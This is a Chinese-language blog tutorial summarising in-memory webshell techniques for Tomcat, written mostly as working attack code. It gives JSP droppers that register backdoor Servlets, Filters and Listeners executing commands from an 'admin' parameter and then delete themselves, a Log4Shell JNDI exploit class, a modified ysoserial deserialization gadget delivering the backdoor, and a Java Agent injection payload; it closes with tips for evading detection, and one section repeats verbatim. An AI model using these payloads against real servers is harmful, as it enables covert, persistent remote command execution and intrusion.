JavaWeb 内存马技术归纳

2022-02-24 08:03:12 浏览数 (1)
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本文以Tomcat 9为核心学习并归纳了一些内存马技术，除有特殊说明外的章节外，本文使用Java 8u292

首先我们整理一下几种植入内存马的方式

  • 基于JSP WebShell植入内存马
  • 基于JavaWeb RCE漏洞植入内存马
    • 真正的无文件落地内存马
  • 通过Java Agent植入内存马

由于我们使用的是Tomcat，可以通过动态增加Servlet、Filter、Listener来植入内存马，如果技术栈还存在Spring和Shiro等，还可以使用增加Controller等方法

基于JSP WebShell植入内存马

参考：MemoryShellLearn/jsp注入内存马 at main · bitterzzZZ/MemoryShellLearn (github.com)

配置开发环境

IDEA使用Web Profile配置创建Java EE项目，使用Tomcat 9.0.58进行学习，不同版本的Tomcat的内部不同，本文统一使用Tomcat 9

为了在JSP中开发内存马，我们需要使用Tomcat的API，虽然在放在Tomcat中就可以直接使用Tomcat的API，但是IDEA无法进行代码提示，因此我们要在项目设置中把Apache Tomcat中的lib文件夹加入项目的Libraries中去，除此之外还要引入tomcat的/bin/tomcat-juli.jar

完成Libraries的配置后我们的代码就不会因为缺少依赖而出现报错了

增加Servlet

Servlet我们都知道，是Tomcat的最基本的服务程序，我们可以直接在内存中增加Servlet来实现无文件的内存马

增加Servlet的方式分为3个步骤

  1. 利用反射通过ApplicationContextFacade获取到StandardContext
  2. 将Servlet程序封装到Wrapper
  3. 将封装好的Wrapper增加到StandardContext中并添加地址映射

代码如下

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<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
    class BackdoorServlet extends HttpServlet {
        @Override
        public void service(ServletRequest req, ServletResponse res) throws  IOException {
            HttpServletRequest request = (HttpServletRequest) req;
            HttpServletResponse response = (HttpServletResponse) res;
            if (request.getParameter("admin")!=null){
                Runtime.getRuntime().exec(request.getParameter("admin"));
            }
            else{
                response.sendError(HttpServletResponse.SC_NOT_FOUND);
            }
        }
    }
    ServletContext servletContext =  request.getSession().getServletContext(); // 获取Context
    // 通过反射从ApplicationContextFacade中获取到当前的StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    // 将Servlet添加到Context中去
    BackdoorServlet backdoorServlet = new BackdoorServlet();
    org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper();
    backdoorWrapper.setName("hello");
    backdoorWrapper.setLoadOnStartup(1);
    backdoorWrapper.setServlet(backdoorServlet);
    backdoorWrapper.setServletClass(backdoorServlet.getClass().getName());
    // jiang
    standardContext.addChild(backdoorWrapper);
    standardContext.addServletMappingDecoded("/hello", "hello");
    // 自毁
//    (new File(application.getRealPath(request.getServletPath()))).delete();
%>

触发方法：将JSP放入webapp文件夹中，我们首先访问路径/addServlet.jsp写入内存马，然后再访问/hello?admin=<指令>就可以执行命令了

增加Filter

由于Filter在Servlet之前运行，因此可以不受URL的限制，甚至可以伪装成在对一个正常的Servlet进行访问

增加Filter的方式分为4个步骤

  1. 通过反射从ApplicationContextFacade中获取到当前的StandardContext，从StandardContext获取到filterConfigs
  2. 封装Filter为FilterDef，并添加到StandContext中
  3. 生成新的ApplicationFilterConfig并添加到filterConfigs中
  4. 创建FilterMap并加入StandardContext中，为Filter确定适用的URL
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<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.*" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "java.io.*" %>
<%@ page import = "java.lang.reflect.*" %>
<%@ page import = "java.util.Map" %>

<%
    class BackdoorFilter extends HttpFilter {
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest request = (HttpServletRequest) req;
            if (request.getParameter("admin")!=null){
                Runtime.getRuntime().exec(request.getParameter("admin"));
            }
            filterChain.doFilter(req, res);
        }
    }

    String name = "BackdoorFilter";
    // 通过反射从ApplicationContextFacade中获取到当前的StandardContext
    ServletContext servletContext =  request.getSession().getServletContext();
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    // 通过反射从StandardContext获取到filterConfigs
    field = standardContext.getClass().getDeclaredField("filterConfigs");
    field.setAccessible(true);
    Map filterConfigs = (Map) field.get(standardContext);

    if (filterConfigs.get(name) == null){ // 防止重复注入
        BackdoorFilter filter = new BackdoorFilter();
        // 封装Filter为FilterDef，并添加到StandContext中
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);
        // 生成新的ApplicationFilterConfig并添加到filterConfigs中
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
        // 创建FilterMap并加入StandardContext中，为Filter确定适用的URL
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*"); // 全局生效
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        // 自毁
        (new File(application.getRealPath(request.getServletPath()))).delete();
    }
%>

触发方法：将JSP放入webapp文件夹中，我们首先访问路径/addFilter.jsp写入内存马，然后在访问任意路径时，带上GET参数admin就可以执行命令了

增加Listener

Tomcat的Listener可以用于在某个事件发生时执行操作，我们选择实现ServletRequestListener来监听每一个HTTP请求

增加Listener的方式分为2个步骤

  1. 利用反射通过ApplicationContextFacade获取到StandardContext
  2. 将Listener添加到StandardContext中
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<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>

<%
    class BackdoorListener implements ServletRequestListener{
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            if (request.getParameter("admin")!=null){
                try {
                    Runtime.getRuntime().exec(request.getParameter("admin"));
                } catch (IOException e) {}
            }
        }
    }

    // 通过反射从ApplicationContextFacade中获取到当前的StandardContext
    ServletContext servletContext =  request.getSession().getServletContext();
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    standardContext.addApplicationEventListener(new BackdoorListener());
    // 自毁
    (new File(application.getRealPath(request.getServletPath()))).delete();
%>

触发方法：将JSP放入webapp文件夹中，我们首先访问路径/addListener.jsp写入内存马，然后在访问任意路径时，带上GET参数admin就可以执行命令了

介绍完Tomcat JSP内存马，接下来我们进入真正无文件落地的基于JNDI和反序列化植入内存马

基于JNDI的内存马植入 - 以CVE-2021-44228 Log4Shell为例

关于CVE-2021-44228的分析，可以参见我之前的讲解文章，由于我使用remote codebase方法，本节只能使用jdk 8u181及以下的版本

准备Tomcat脆弱环境

首先在Tomcat项目的pom.xml中加入log4j-core 2.14.1的依赖，然后我们再写一个触发log4j漏洞的Servlet

直接在自动创建的HelloServlet上修改即可

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package com.example.JavaWebDemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

        Logger logger = LogManager.getLogger();
        logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");

        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>"   message   "</h1>");
        out.println("</body></html>");
    }
}

构造Exploit

我们只尝试增加Filter，增加Servlet和Listener的方法也比较相似，不重复讨论

接下来按照我之前的CVE-2021-44228分析中的方法触发JNDI漏洞，我们将反弹Shell的代码进行修改

这时候遇到一个难点，之前我们使用JSP获取内存马，可以发现，往Tomcat中注入内存马的核心是需要获取到StandardContext实例，之前JSP会自动放进去一个request对象，可以用于获取StandardContext，但是此时没有这个便捷的方式，所以我们要另寻出入了

参考这篇文章：Java内存马：一种Tomcat全版本获取StandardContext的新方法

由于我们使用Tomcat9，此处我们使用”从ContextClassLoader获取”的方式为例来获取StandardContext，代码如下

代码语言：javascript复制
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

整合Exploit，代码如下

代码语言：javascript复制
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

@SuppressWarnings("unchecked")
public class Exploit{
    public Exploit() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        class BackdoorFilter extends HttpFilter {
            public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest request = (HttpServletRequest) req;
                if (request.getParameter("admin")!=null){
                    Runtime.getRuntime().exec(request.getParameter("admin"));
                }
                filterChain.doFilter(req, res);
            }
        }
        String name = "BackdoorFilter";
        // 从ContextClassLoader获取StandardContext
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        // 通过反射从StandardContext获取到filterConfigs
        Field field = standardContext.getClass().getDeclaredField("filterConfigs");
        field.setAccessible(true);
        Map filterConfigs = (Map) field.get(standardContext);

        if (filterConfigs.get(name) == null) { // 防止重复注入
            BackdoorFilter filter = new BackdoorFilter();
            // 封装Filter为FilterDef，并添加到StandContext中
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilter(filter);
            standardContext.addFilterDef(filterDef);
            // 生成新的ApplicationFilterConfig并添加到filterConfigs中
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);
            // 创建FilterMap并加入StandardContext中，为Filter确定适用的URL
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*"); // 全局生效
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
        }
    }
}

首先触发log4j漏洞，利用JNDI执行我们的Exploit植入内存马，随后访问任意URL时带上admin参数即可执行命令

可以发现，在这种情况下，我们实现了真正的无文件落地，但是JNDI LDAP的攻击方式在jdk 8u191及之后就无法利用了，下一节我们讨论基于反序列化的植入方法

基于反序列化的内存马植入 - ysoserial-CommonsCollections2改造

参考：基于tomcat的内存 Webshell 无文件攻击技术

由于CommonsCollections2使用了TemplatesImpl，所以我们才能用这个方法进行内存马注入，像CommonsCollections1没有利用TemplatesImpl，所以就不行了

配置反序列化环境

我们写一个进行反序列化的接口，放在doPost()里面，核心代码只需一句

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(new ObjectInputStream((request.getInputStream()))).readObject();

我们使用CommonsCollections2作为例子，通过Maven引入commons-collections4:4.0

测试一下环境是否正常

会报错，但是我们可以发现是TemplatesImpl抛出的，并且检查命令执行效果可以发现命令执行成功了，接下来开始改造Payload

构造Exploit

首先是用IDEA导入ysoserial项目，项目的Jdk版本设置为1.8。

由于打包起来太麻烦，我们将ysoserial.GeneratePayload作为主类运行，直接生成Payload

由于我们要输出到文件中，修改GeneraterPayload.java的第35行PrintStream out = System.out;改为PrintStream out = new PrintStream("./output.serial");

首先在ysoserial.payloads.util.Gadgets.java中调整createTemplateImpl函数

由于原版的createTemplateImpl根据要执行的指令来生成TemplateImpl我们将其重载并稍微修改一下

我们复制createTemplateImpl并改为如下

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public static Object createTemplatesImpl ( final Class _class ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            _class,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(_class, TemplatesImpl.class, TransformerFactoryImpl.class);
}


public static <T> T createTemplatesImpl ( final Class _class, Class<T> tplClass, Class<?> transFactory )
    throws Exception {
    final T templates = tplClass.newInstance();

    final byte[] classBytes = ClassFiles.classAsBytes(_class);

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

对于第一处重载，只是把command改为了_class并删除了无用的参数，第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码，因为我们直接编写了类文件

然后将payloads/CommonsCollections2复制出一个新版本，命名为CommonsCollections2ForClassInjection

将command参数重构为payloadName，变为注入的类名来使用，之后可以方便调整为使用ServletInjection等其它内存马

把这一句进行修改

代码语言：javascript复制
final Object templates = Gadgets.createTemplatesImpl(command);

换为如下，直接通过类名获取字节码

代码语言：javascript复制
final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells." payloadName));

启动参数配置如下

将生成的output.serial文件打到服务器上，然后在访问任意路径时，带上GET参数admin就可以执行命令了

可以发现我给自己起的Payload名字是TomcatFilterInjection，把它放在如图的位置

Payload代码如下，大家也可以自己制作ServletInjection或者ListenerInjection作为Payload

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package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class TomcatFilterInjection extends AbstractTranslet implements Filter {

    static {
        try {

            String name = "TomcatFilterInjection";
            // 从ContextClassLoader获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            // 通过反射从StandardContext获取到filterConfigs
            Field field = standardContext.getClass().getDeclaredField("filterConfigs");
            field.setAccessible(true);
            Map filterConfigs = (Map) field.get(standardContext);

            if (filterConfigs.get(name) == null) { // 防止重复注入
                TomcatFilterInjection filter = new TomcatFilterInjection();
                // 封装Filter为FilterDef，并添加到StandContext中
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                filterDef.setFilter(filter);
                standardContext.addFilterDef(filterDef);
                // 生成新的ApplicationFilterConfig并添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                // 创建FilterMap并加入StandardContext中，为Filter确定适用的URL
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*"); // 全局生效
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
            }
        } catch (Exception e) {
            // 忽略错误，在生成生成序列化代码时也会执行static部分，必然报错，直接跳过即可
        }
    }
代码语言：javascript复制
  @Override
    public void doFilter(ServletRequest req, ServletResponse res,
                         FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        if (request.getParameter("admin")!=null){
            Runtime.getRuntime().exec(request.getParameter("admin"));
        }
        filterChain.doFilter(req, res);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void destroy() {

    }
}

对于第一处重载，只是把command改为了_class并删除了无用的参数，第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码，因为我们直接编写了类文件

然后将payloads/CommonsCollections2复制出一个新版本，命名为CommonsCollections2ForClassInjection

将command参数重构为payloadName，变为注入的类名来使用，之后可以方便调整为使用ServletInjection等其它内存马

把这一句进行修改

代码语言：javascript复制
final Object templates = Gadgets.createTemplatesImpl(command);

换为如下，直接通过类名获取字节码

代码语言：javascript复制
final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells." payloadName));

启动参数配置如下

将生成的output.serial文件打到服务器上，然后在访问任意路径时，带上GET参数admin就可以执行命令了

可以发现我给自己起的Payload名字是TomcatFilterInjection，把它放在如图的位置

Payload代码如下，大家也可以自己制作ServletInjection或者ListenerInjection作为Payload

代码语言：javascript复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class TomcatFilterInjection extends AbstractTranslet implements Filter {

    static {
        try {

            String name = "TomcatFilterInjection";
            // 从ContextClassLoader获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            // 通过反射从StandardContext获取到filterConfigs
            Field field = standardContext.getClass().getDeclaredField("filterConfigs");
            field.setAccessible(true);
            Map filterConfigs = (Map) field.get(standardContext);

            if (filterConfigs.get(name) == null) { // 防止重复注入
                TomcatFilterInjection filter = new TomcatFilterInjection();
                // 封装Filter为FilterDef，并添加到StandContext中
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                filterDef.setFilter(filter);
                standardContext.addFilterDef(filterDef);
                // 生成新的ApplicationFilterConfig并添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                // 创建FilterMap并加入StandardContext中，为Filter确定适用的URL
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*"); // 全局生效
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
            }
        } catch (Exception e) {
            // 忽略错误，在生成生成序列化代码时也会执行static部分，必然报错，直接跳过即可
        }
    }
代码语言：javascript复制
   @Override
    public void doFilter(ServletRequest req, ServletResponse res,
                         FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        if (request.getParameter("admin")!=null){
            Runtime.getRuntime().exec(request.getParameter("admin"));
        }
        filterChain.doFilter(req, res);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void destroy() {

    }
}

Java Agent内存马

参考：Java Agent 从入门到内存马

还是以Tomcat为例，我们知道JavaAgent技术可以动态修改字节码，我们熟知的Burp Suite的破解技术就是基于premain方法实现的，通过agentmain，我们可以直接修改关键类即可

由于Java Agent内存马需要有Jar文件落地，并不是比JSP更好的方法，只能说在JSP无法解析的时候适用性会更好一些

比较知名的冰蝎就提供了Java Agent内存马，我们也实现一个比较基础的

调用端(Attacher)的核心代码其实就3句话

代码语言：javascript复制
VirtualMachine virtualMachine = VirtualMachine.attach(id);
virtualMachine.loadAgent(jarName);
virtualMachine.detach();

我们可以使用前面研究过的JNDI注入方法进行注入，也可以利用反序列化，只要能够执行Java代码即可，甚至拿到系统Shell后直接用命令执行loadAgent的另一个java程序也可以，只是要上传更多的文件，风险更大

这里方便起见，直接继续使用前面研究的反序列化注入方法进行攻击，我们在shells中增加一个新的Payload，代码如下

代码语言：javascript复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.tools.attach.VirtualMachine;
import sun.management.VMManagement;

import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class AgentInjection extends AbstractTranslet {
    static {
        try {
            // 首先获取进程ID
            RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();
            Field jvm = runtime.getClass().getDeclaredField("jvm");
            jvm.setAccessible(true);
            VMManagement mgmt = (VMManagement) jvm.get(runtime);
            Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId");
            pidMethod.setAccessible(true);
            // attach到当前JVM
            VirtualMachine virtualMachine = VirtualMachine.attach(String.valueOf(pidMethod.invoke(mgmt)));
            // 加载agent，可以从远程下载再load，这里直接从本地load了
            virtualMachine.loadAgent("/tmp/agent.jar");
            virtualMachine.detach();
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

在src/main/resources/目录下创建META-INF/MANIFEST.MF，内容如下

代码语言：javascript复制
Manifest-Version: 1.0
Agent-Class: Agent
Can-Retransform-Classes: true

打包成.jar，发送序列化数据，结果遇到异常

可以发现依赖于tools.jar，这个包对于Tomcat来说并不会自动加载，为了让攻击奏效，我们可以通过JAVA_HOME路径手动加载类型，通过反射执行相关函数

修改后的Payload代码如下

代码语言：javascript复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.management.VMManagement;

import java.io.File;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URLClassLoader;

public class AgentInjection extends AbstractTranslet {
    static {
        try {
            // 首先获取进程ID
            RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();
            Field jvm = runtime.getClass().getDeclaredField("jvm");
            jvm.setAccessible(true);
            VMManagement mgmt = (VMManagement) jvm.get(runtime);
            Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId");
            pidMethod.setAccessible(true);
            // 通过反射进行调用
            URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new File(System.getProperty("java.home").replace("jre","lib")   File.separator   "tools.jar").toURI().toURL()});
            Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            Method loadAgent=VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            Method detach=VirtualMachine.getDeclaredMethod("detach",null);

            Object virtualMachine = attach.invoke(VirtualMachine,new Object[]{String.valueOf(pidMethod.invoke(mgmt))});
            loadAgent.invoke(virtualMachine,new Object[]{"/tmp/agent.jar"});
            detach.invoke(virtualMachine);
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

完成反序列化注入Payload后，在访问任意路径时，带上GET参数admin就可以执行命令了

内存马检测和隐藏

参考： 探索Filter型Tomcat内存马的免杀 查杀Java web filter型内存马 | 回忆飘如雪 (gv7.me)

对于注入后的内存马，可以分为两个类型

  • 组件注入型 - 注入Servlet、Filter、Listener、Controller等
  • Agent注入型 - 注入字节码

检测方面的研究主要有c0ny1师傅的文章

组件注入型的检测和查杀

可以发现c0ny1师傅给出的方法就是通过加载Java Agent实时获取所有Filter，并且对于可疑的类进行检查

根据4ra1n师傅的方法，我们可以主要通过如下手段来隐藏我们的内存马

  1. 内存马的类名改为更加合理的，不要使用BackdoorFilter这样显眼的名字，并引入一定的随机化
  2. 读取已有Filter的包名，将自己Filter包名改为一致的
  3. 自动修改web.xml的内容进行隐藏

除此之外，由于可以检查Filter对应的classpath是否存在来检查，我们可以把class文件写入到硬盘上，但是这样就有被HIDS扫描到的风险，应视情况采用

目前为止，如果防御方不把class文件dump出来进行反编译对源码进行分析，应该是很难识别了，如果被dump了的话，只能进一步进采用源码免杀技巧

Agent注入型的检测和查杀

由于c0ny1师傅的《查杀Java web Agent型内存马》尚未发布，先留个坑在这里

JavaWeb 内存马技术归纳

tomcat servlet jsp 文件存储 网络安全

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